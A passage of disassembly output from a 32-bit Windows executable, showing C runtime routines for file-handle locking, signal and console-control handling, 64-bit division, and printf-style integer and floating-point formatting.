; ---------------------------------------------------------------------------


loc_40AFB2:				; CODE XREF: DMN0:0040AFABj
		cmp	edi, 3
		jnz	short loc_40AFBA
		or	bl, 8


loc_40AFBA:				; CODE XREF: DMN0:0040AFB0j
					; DMN0:0040AFB5j
		call	sub_40AC60
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40AFD6
		call	sub_408730
		mov	dword ptr [eax], 18h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40B001
; ---------------------------------------------------------------------------


loc_40AFD6:				; CODE XREF: DMN0:0040AFC4j
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	sub_40AE40
		add	esp, 8
		or	bl, 1
		mov	eax, esi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, esi
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		mov	[edx+eax+4], bl
		mov	eax, esi


loc_40B001:				; CODE XREF: DMN0:0040AFA6j
					; DMN0:0040AFD4j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40B010	proc near		; CODE XREF: sub_4091B0+3Ap
					; sub_40ABF0+3Cp ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		lea	esi, [edx+eax]
		cmp	dword ptr [esi+8], 0
		jnz	short loc_40B056
		push	3
		call	sub_408AD0
		pop	ecx
		cmp	dword ptr [esi+8], 0
		jnz	short loc_40B04E
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_411CCC	; InitializeCriticalSection
		inc	dword ptr [esi+8]


loc_40B04E:				; CODE XREF: sub_40B010+2Fj
		push	3
		call	sub_408B50
		pop	ecx


loc_40B056:				; CODE XREF: sub_40B010+21j
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_411CD0	; RtlEnterCriticalSection
		pop	esi
		pop	ebx
		retn
sub_40B010	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40B070	proc near		; CODE XREF: sub_4091B0+4Ap
					; sub_40ABF0+56p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		lea	eax, [edx+eax+0Ch]
		push	eax
		call	dword_411CD4	; RtlLeaveCriticalSection
		pop	ebx
		retn
sub_40B070	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40B0A0	proc near		; DATA XREF: sub_40B0E0+A4o
					; sub_44C54B+A4o
		push	ebx
		push	1
		push	2
		call	sub_40B0E0
		add	esp, 8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40B0BB
		test	ebx, ebx
		jnz	short loc_40B0BF


loc_40B0BB:				; CODE XREF: sub_40B0A0+15j
		xor	eax, eax
		jmp	short loc_40B0DA
; ---------------------------------------------------------------------------


loc_40B0BF:				; CODE XREF: sub_40B0A0+19j
		cmp	ebx, 1
		jz	short loc_40B0D5
		push	0
		push	2
		call	sub_40B0E0
		add	esp, 8
		push	2
		call	ebx
		pop	ecx


loc_40B0D5:				; CODE XREF: sub_40B0A0+22j
		mov	eax, 1


loc_40B0DA:				; CODE XREF: sub_40B0A0+1Dj
		pop	ebx
		retn	4
sub_40B0A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0E0	proc near		; CODE XREF: sub_409530+18p
					; sub_409530+3Bp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jle	short loc_40B0FE
		cmp	ebx, 2Ch
		jge	short loc_40B0FE
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jnz	short loc_40B106


loc_40B0FE:				; CODE XREF: sub_40B0E0+Ej
					; sub_40B0E0+13j
		or	eax, 0FFFFFFFFh
		jmp	loc_40B1B6
; ---------------------------------------------------------------------------


loc_40B106:				; CODE XREF: sub_40B0E0+1Cj
		cmp	ebx, 4
		jz	short loc_40B115
		cmp	ebx, 8
		jz	short loc_40B115
		cmp	ebx, 0Bh
		jnz	short loc_40B174


loc_40B115:				; CODE XREF: sub_40B0E0+29j
					; sub_40B0E0+2Ej
		call	sub_409420
		mov	[ebp+var_8], eax
		mov	eax, [eax+34h]
		cmp	eax, offset dword_4117E8
		jnz	short loc_40B155
		push	0B0h
		call	sub_408530
		pop	ecx
		mov	edx, [ebp+var_8]
		mov	[edx+34h], eax
		test	eax, eax
		jz	short loc_40B150
		mov	eax, [ebp+var_8]
		mov	edi, [eax+34h]
		mov	esi, offset dword_4117E8
		mov	ecx, 2Ch
		rep movsd
		jmp	short loc_40B155
; ---------------------------------------------------------------------------


loc_40B150:				; CODE XREF: sub_40B0E0+5Aj
		or	eax, 0FFFFFFFFh
		jmp	short loc_40B1B6
; ---------------------------------------------------------------------------


loc_40B155:				; CODE XREF: sub_40B0E0+45j
					; sub_40B0E0+6Ej
		mov	eax, ebx
		shl	eax, 2
		mov	edx, [ebp+var_8]
		mov	ecx, [edx+34h]
		mov	ecx, [ecx+eax]
		mov	[ebp+var_4], ecx
		mov	edx, [edx+34h]
		mov	ecx, [ebp+arg_4]
		mov	[edx+eax], ecx
		mov	eax, [ebp+var_4]
		jmp	short loc_40B1B6
; ---------------------------------------------------------------------------


loc_40B174:				; CODE XREF: sub_40B0E0+33j
		cmp	ebx, 2
		jnz	short loc_40B1A2
		cmp	dword_4118A0, 0
		jnz	short loc_40B1A2
		push	1
		push	offset sub_40B0A0
		call	dword_411E14	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_40B198
		or	eax, 0FFFFFFFFh
		jmp	short loc_40B1B6
; ---------------------------------------------------------------------------


loc_40B198:				; CODE XREF: sub_40B0E0+B1j
		mov	dword_4118A0, 1


loc_40B1A2:				; CODE XREF: sub_40B0E0+97j
					; sub_40B0E0+A0j
		lea	eax, ds:4117E8h[ebx*4]
		mov	edx, [eax]
		mov	[ebp+var_4], edx
		mov	edx, [ebp+arg_4]
		mov	[eax], edx
		mov	eax, [ebp+var_4]


loc_40B1B6:				; CODE XREF: sub_40B0E0+21j
					; sub_40B0E0+73j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40B0E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40B1C0	proc near		; CODE XREF: sub_407E30+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40B1C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40B1D0	proc near		; CODE XREF: DMN0:0040961Cp
					; sub_40B390+F3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_4]
		or	eax, eax
		jnz	short loc_40B1F2
		mov	ecx, [esp+8+arg_0]
		mov	eax, [esp+8+arg_C]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_8]
		div	ecx
		mov	edx, ebx
		jmp	short loc_40B233
; ---------------------------------------------------------------------------


loc_40B1F2:				; CODE XREF: sub_40B1D0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		mov	eax, [esp+8+arg_8]


loc_40B200:				; CODE XREF: sub_40B1D0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_40B200
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		mul	esi
		add	edx, ecx
		jb	short loc_40B22E
		cmp	edx, [esp+8+arg_C]
		ja	short loc_40B22E
		jb	short loc_40B22F
		cmp	eax, [esp+8+arg_8]
		jbe	short loc_40B22F


loc_40B22E:				; CODE XREF: sub_40B1D0+4Ej
					; sub_40B1D0+54j
		dec	esi


loc_40B22F:				; CODE XREF: sub_40B1D0+56j
					; sub_40B1D0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_40B233:				; CODE XREF: sub_40B1D0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_40B1D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B240	proc near		; CODE XREF: sub_409FC0+B3p
					; sub_409FC0+6E1p

var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		cmp	dword ptr [ebx+2Ch], 0
		jge	short loc_40B25E
		mov	[ebp+var_64], 7FFFFFFFh
		jmp	short loc_40B264
; ---------------------------------------------------------------------------


loc_40B25E:				; CODE XREF: sub_40B240+13j
		mov	eax, [ebx+2Ch]
		mov	[ebp+var_64], eax


loc_40B264:				; CODE XREF: sub_40B240+1Cj
		mov	eax, [ebp+var_64]
		mov	[ebp+var_4], eax
		movzx	eax, byte_4118A4
		mov	edx, [ebx+34h]
		add	eax, edx
		mov	[ebp+var_14], eax
		mov	[ebp+var_1C], 0
		mov	[ebp+var_18], 0
		test	word ptr [ebx+38h], 4
		jnz	short loc_40B295
		cmp	[ebp+var_14], 40h
		ja	short loc_40B2A4


loc_40B295:				; CODE XREF: sub_40B240+4Dj
		lea	eax, [ebp+var_60]
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], 40h
		jmp	short loc_40B2BD
; ---------------------------------------------------------------------------


loc_40B2A4:				; CODE XREF: sub_40B240+53j
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_408530
		pop	ecx
		mov	[ebp+var_10], eax
		test	eax, eax
		jnz	short loc_40B2BD
		or	eax, 0FFFFFFFFh
		jmp	loc_40B385
; ---------------------------------------------------------------------------


loc_40B2BD:				; CODE XREF: sub_40B240+62j
					; sub_40B240+73j
		test	esi, esi
		jnz	short loc_40B2C6
		mov	esi, offset aNull ; "(null)"


loc_40B2C6:				; CODE XREF: sub_40B240+7Fj
		mov	[ebp+var_20], 0
		jmp	short loc_40B34B
; ---------------------------------------------------------------------------


loc_40B2CF:				; CODE XREF: sub_40B240+10Fj
		lea	eax, [ebp+var_1C]
		push	eax
		movzx	eax, word ptr [esi]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_40C270
		add	esp, 0Ch
		mov	edi, eax
		test	eax, eax
		jl	short loc_40B2F6
		cmp	word ptr [esi],	0
		jnz	short loc_40B2FC
		dec	edi
		mov	eax, edi
		test	eax, eax
		jge	short loc_40B2FC


loc_40B2F6:				; CODE XREF: sub_40B240+A7j
		or	[ebp+var_20], 0FFFFFFFFh
		jmp	short loc_40B355
; ---------------------------------------------------------------------------


loc_40B2FC:				; CODE XREF: sub_40B240+ADj
					; sub_40B240+B4j
		cmp	[ebp+var_4], edi
		jl	short loc_40B355
		mov	eax, [ebx+14h]
		add	eax, edi
		cmp	[ebp+var_14], eax
		jnb	short loc_40B326
		mov	dword ptr [ebx+34h], 0
		mov	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_40A700
		add	esp, 8
		mov	dword ptr [ebx+14h], 0


loc_40B326:				; CODE XREF: sub_40B240+C9j
		push	edi
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebx+14h]
		mov	edx, [ebp+var_10]
		add	eax, edx
		push	eax
		call	sub_4079C0
		add	esp, 0Ch
		add	[ebx+14h], edi
		cmp	word ptr [esi],	0
		jz	short loc_40B355
		add	esi, 2
		sub	[ebp+var_4], edi


loc_40B34B:				; CODE XREF: sub_40B240+8Dj
		cmp	[ebp+var_4], 0
		jg	loc_40B2CF


loc_40B355:				; CODE XREF: sub_40B240+BAj
					; sub_40B240+BFj ...
		mov	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_40A700
		add	esp, 8
		mov	dword ptr [ebx+34h], 0
		mov	dword ptr [ebx+14h], 0
		lea	eax, [ebp+var_60]
		cmp	eax, [ebp+var_10]
		jz	short loc_40B382
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_407480
		pop	ecx


loc_40B382:				; CODE XREF: sub_40B240+136j
		mov	eax, [ebp+var_20]


loc_40B385:				; CODE XREF: sub_40B240+78j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40B240	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B390	proc near		; CODE XREF: sub_409FC0+256p
					; sub_409FC0+3CAp ...

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 58h
		jnz	short loc_40B3A8
		mov	[ebp+var_34], offset a0123456789abcd ; "0123456789ABCDEF"
		jmp	short loc_40B3AF
; ---------------------------------------------------------------------------


loc_40B3A8:				; CODE XREF: sub_40B390+Dj
		mov	[ebp+var_34], offset a0123456789ab_0 ; "0123456789abcdef"


loc_40B3AF:				; CODE XREF: sub_40B390+16j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_24], eax
		cmp	[ebp+arg_4], 6Fh
		jnz	short loc_40B3C4
		mov	[ebp+var_38], 8
		jmp	short loc_40B3DF
; ---------------------------------------------------------------------------


loc_40B3C4:				; CODE XREF: sub_40B390+29j
		mov	al, [ebp+arg_4]
		cmp	al, 78h
		jz	short loc_40B3D8
		cmp	al, 58h
		jz	short loc_40B3D8
		mov	[ebp+var_38], 0Ah
		jmp	short loc_40B3DF
; ---------------------------------------------------------------------------


loc_40B3D8:				; CODE XREF: sub_40B390+39j
					; sub_40B390+3Dj
		mov	[ebp+var_38], 10h


loc_40B3DF:				; CODE XREF: sub_40B390+32j
					; sub_40B390+46j
		mov	eax, [ebp+var_38]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 18h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx
		mov	al, [ebp+arg_4]
		cmp	al, 64h
		jz	short loc_40B405
		cmp	al, 69h
		jnz	short loc_40B42A


loc_40B405:				; CODE XREF: sub_40B390+6Fj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jg	short loc_40B42A
		jl	short loc_40B417
		test	eax, eax
		jnb	short loc_40B42A


loc_40B417:				; CODE XREF: sub_40B390+81j
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		neg	eax
		adc	edx, 0
		neg	edx
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx


loc_40B42A:				; CODE XREF: sub_40B390+73j
					; sub_40B390+7Fj ...
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		test	edx, edx
		jnz	short loc_40B441
		test	eax, eax
		jnz	short loc_40B441
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jz	short loc_40B471


loc_40B441:				; CODE XREF: sub_40B390+A2j
					; sub_40B390+A6j
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_3C], eax
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_30]
		mov	ebx, [ebp+var_2C]
		mov	edx, [ebp+var_8]
		mov	esi, edx
		mov	edi, esi
		sar	edi, 1Fh
		push	ebx
		push	ecx
		push	edi
		push	esi
		call	sub_40C4C0
		mov	edx, [ebp+var_24]
		mov	al, [edx+eax]
		mov	edx, [ebp+var_3C]
		mov	[ebp+edx+var_20], al


loc_40B471:				; CODE XREF: sub_40B390+AFj
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		mov	ecx, [ebp+var_8]
		mov	ebx, ecx
		sar	ebx, 1Fh
		push	edx
		push	eax
		push	ebx
		push	ecx
		call	sub_40B1D0
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	[ecx+4], edx
		jmp	short loc_40B502
; ---------------------------------------------------------------------------


loc_40B492:				; CODE XREF: sub_40B390+188j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		mov	ecx, [ebp+var_8]
		mov	ebx, ecx
		sar	ebx, 1Fh
		push	edx
		push	eax
		push	ebx
		push	ecx
		call	sub_40C540
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], edx
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4C], eax
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_8]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	esi, [ebp+var_48]
		mov	edi, [ebp+var_44]
		push	ebx
		push	ecx
		push	edi
		push	esi
		call	sub_40C5F0
		neg	eax
		adc	edx, 0
		neg	edx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ecx+4]
		mov	ecx, [ecx]
		add	eax, ecx
		adc	edx, ebx
		mov	edx, [ebp+var_24]
		mov	al, [edx+eax]
		mov	edx, [ebp+var_4C]
		mov	[ebp+edx+var_20], al
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	ebx, [ebp+var_44]
		mov	[eax], ecx
		mov	[eax+4], ebx


loc_40B502:				; CODE XREF: sub_40B390+100j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jl	short loc_40B51E
		jg	short loc_40B514
		test	eax, eax
		jbe	short loc_40B51E


loc_40B514:				; CODE XREF: sub_40B390+17Ej
		cmp	[ebp+var_4], 0
		jg	loc_40B492


loc_40B51E:				; CODE XREF: sub_40B390+17Cj
					; sub_40B390+182j
		cmp	[ebp+var_8], 8
		jnz	short loc_40B54A
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 8
		jz	short loc_40B54A
		mov	eax, [ebp+var_4]
		cmp	eax, 18h
		jnb	short loc_40B54A
		cmp	[ebp+eax+var_20], 30h
		jz	short loc_40B54A
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	[ebp+eax+var_20], 30h


loc_40B54A:				; CODE XREF: sub_40B390+192j
					; sub_40B390+19Dj ...
		mov	edx, [ebp+arg_0]
		mov	eax, 18h
		mov	ecx, [ebp+var_4]
		sub	eax, ecx
		mov	[edx+1Ch], eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		push	edx
		mov	edx, [ebp+var_4]
		lea	edx, [ebp+edx+var_20]
		push	edx
		mov	eax, [eax+10h]
		push	eax
		call	sub_4079C0
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		cmp	[eax+1Ch], edx
		jge	short loc_40B596
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		sub	edx, [eax+1Ch]
		mov	[eax+18h], edx
		mov	eax, [ebp+arg_0]
		and	word ptr [eax+38h], 0FFEFh
		jmp	short loc_40B5C7
; ---------------------------------------------------------------------------


loc_40B596:				; CODE XREF: sub_40B390+1EEj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_40B5C7
		movzx	edx, word ptr [eax+38h]
		and	edx, 14h
		cmp	edx, 10h
		jnz	short loc_40B5C7
		mov	edx, [eax+34h]
		sub	edx, [eax+14h]
		sub	edx, [eax+18h]
		sub	edx, [eax+1Ch]
		mov	[ebp+var_4], edx
		test	edx, edx
		jle	short loc_40B5C7
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	[edx+18h], eax


loc_40B5C7:				; CODE XREF: sub_40B390+204j
					; sub_40B390+20Dj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40B390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40B5D0	proc near		; CODE XREF: sub_409FC0+40Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40C630
		pop	ecx
		movsx	eax, ax
		retn
sub_40B5D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5E0	proc near		; CODE XREF: sub_409FC0+48Cp

var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= qword	ptr -58h
var_50		= qword	ptr -50h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_3E		= byte ptr -3Eh
var_3D		= byte ptr -3Dh
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= qword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		lea	eax, [ebp+var_3E]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fstp	[ebp+var_10]
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_40B5FF
		cmp	al, 41h
		jnz	short loc_40B601


loc_40B5FF:				; CODE XREF: sub_40B5E0+19j
		jmp	short loc_40B634
; ---------------------------------------------------------------------------


loc_40B601:				; CODE XREF: sub_40B5E0+1Dj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_40B616
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 6
		jmp	short loc_40B634
; ---------------------------------------------------------------------------


loc_40B616:				; CODE XREF: sub_40B5E0+28j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jnz	short loc_40B634
		mov	al, [ebp+arg_4]
		cmp	al, 67h
		jz	short loc_40B62A
		cmp	al, 47h
		jnz	short loc_40B634


loc_40B62A:				; CODE XREF: sub_40B5E0+44j
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 1


loc_40B634:				; CODE XREF: sub_40B5E0:loc_40B5FFj
					; sub_40B5E0+34j ...
		mov	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40C6A0
		add	esp, 8
		mov	[ebp+var_16], ax
		cmp	ax, 2
		jnz	short loc_40B699
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+1Ch], 3
		mov	eax, 3
		push	eax
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_40B671
		cmp	al, 65h
		jz	short loc_40B671
		cmp	al, 66h
		jz	short loc_40B671
		cmp	al, 67h
		jnz	short loc_40B67A


loc_40B671:				; CODE XREF: sub_40B5E0+83j
					; sub_40B5E0+87j ...
		mov	[ebp+var_44], offset word_41010A
		jmp	short loc_40B681
; ---------------------------------------------------------------------------


loc_40B67A:				; CODE XREF: sub_40B5E0+8Fj
		mov	[ebp+var_44], offset word_410106


loc_40B681:				; CODE XREF: sub_40B5E0+98j
		mov	eax, [ebp+var_44]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		push	eax
		call	sub_4079C0
		add	esp, 0Ch
		jmp	loc_40BC34
; ---------------------------------------------------------------------------


loc_40B699:				; CODE XREF: sub_40B5E0+6Cj
		cmp	[ebp+var_16], 0
		jle	short loc_40B6EB
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+1Ch], 3
		mov	eax, 3
		push	eax
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_40B6C3
		cmp	al, 65h
		jz	short loc_40B6C3
		cmp	al, 66h
		jz	short loc_40B6C3
		cmp	al, 67h
		jnz	short loc_40B6CC


loc_40B6C3:				; CODE XREF: sub_40B5E0+D5j
					; sub_40B5E0+D9j ...
		mov	[ebp+var_44], offset word_410102
		jmp	short loc_40B6D3
; ---------------------------------------------------------------------------


loc_40B6CC:				; CODE XREF: sub_40B5E0+E1j
		mov	[ebp+var_44], offset off_4100FE


loc_40B6D3:				; CODE XREF: sub_40B5E0+EAj
		mov	eax, [ebp+var_44]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		push	eax
		call	sub_4079C0
		add	esp, 0Ch
		jmp	loc_40BC34
; ---------------------------------------------------------------------------


loc_40B6EB:				; CODE XREF: sub_40B5E0+BEj
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_40B6F6
		cmp	al, 41h
		jnz	short loc_40B72E


loc_40B6F6:				; CODE XREF: sub_40B5E0+110j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+10h]
		add	eax, 10h
		lea	ecx, [edx+1]
		mov	[eax], ecx
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+10h]
		add	eax, 10h
		lea	ecx, [edx+1]
		mov	[eax], ecx
		xor	eax, eax
		cmp	[ebp+arg_4], 61h
		setnz	al
		dec	eax
		and	eax, 20h
		add	eax, 58h
		mov	[edx], al
		mov	eax, [ebp+arg_0]
		add	dword ptr [eax+14h], 2


loc_40B72E:				; CODE XREF: sub_40B5E0+114j
		cmp	[ebp+var_16], 0
		jnz	short loc_40B746
		mov	[ebp+var_12], 0
		mov	[ebp+var_14], 0
		jmp	loc_40BC15
; ---------------------------------------------------------------------------


loc_40B746:				; CODE XREF: sub_40B5E0+153j
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_40B755
		cmp	al, 41h
		jnz	loc_40B95B


loc_40B755:				; CODE XREF: sub_40B5E0+16Bj
		cmp	[ebp+arg_4], 61h
		jnz	short loc_40B764
		mov	dword ptr [ebp+var_50+4], offset a0123456789ab_1 ; "0123456789abcdef"
		jmp	short loc_40B76B
; ---------------------------------------------------------------------------


loc_40B764:				; CODE XREF: sub_40B5E0+179j
		mov	dword ptr [ebp+var_50+4], offset a0123456789ab_2 ; "0123456789ABCDEF"


loc_40B76B:				; CODE XREF: sub_40B5E0+182j
		mov	eax, dword ptr [ebp+var_50+4]
		mov	[ebp+var_48], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_40B783
		mov	dword ptr [ebp+var_50],	21h
		jmp	short loc_40B78D
; ---------------------------------------------------------------------------


loc_40B783:				; CODE XREF: sub_40B5E0+198j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		inc	eax
		mov	dword ptr [ebp+var_50],	eax


loc_40B78D:				; CODE XREF: sub_40B5E0+1A1j
		mov	eax, dword ptr [ebp+var_50]
		mov	[ebp+var_12], ax
		movsx	eax, [ebp+var_12]
		inc	eax
		mov	[ebp+var_44], eax
		fld	dbl_4100D4
		fcomp	[ebp+var_10]
		fnstsw	ax
		sahf
		jbe	short loc_40B7B6
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fchs
		fstp	[ebp+var_58]
		jmp	short loc_40B7BE
; ---------------------------------------------------------------------------


loc_40B7B6:				; CODE XREF: sub_40B5E0+1C8j
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fstp	[ebp+var_58]


loc_40B7BE:				; CODE XREF: sub_40B5E0+1D4j
		fld	[ebp+var_58]
		fstp	[ebp+var_10]
		sub	[ebp+var_14], 4
		mov	eax, [ebp+var_4]
		lea	edx, [eax+1]
		mov	[ebp+var_4], edx
		mov	byte ptr [eax],	0
		jmp	loc_40B861
; ---------------------------------------------------------------------------


loc_40B7DA:				; CODE XREF: sub_40B5E0+293j
		push	1Ch
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40C6C0
		add	esp, 8
		fld	[ebp+var_10]
		call	sub_40C6E0
		mov	[ebp+var_5C], eax
		mov	eax, [ebp+var_44]
		sub	eax, 7
		mov	[ebp+var_44], eax
		test	eax, eax
		jle	short loc_40B80B
		fld	[ebp+var_10]
		fild	[ebp+var_5C]
		fsubp	st(1), st
		fstp	[ebp+var_10]


loc_40B80B:				; CODE XREF: sub_40B5E0+21Ej
		mov	eax, [ebp+var_4]
		add	eax, 7
		mov	[ebp+var_4], eax
		mov	[ebp+var_60], 7
		jmp	short loc_40B830
; ---------------------------------------------------------------------------


loc_40B81D:				; CODE XREF: sub_40B5E0+25Fj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_5C]
		and	edx, 0Fh
		mov	[eax], dl
		sar	[ebp+var_5C], 4


loc_40B830:				; CODE XREF: sub_40B5E0+23Bj
		cmp	[ebp+var_5C], 0
		jle	short loc_40B841
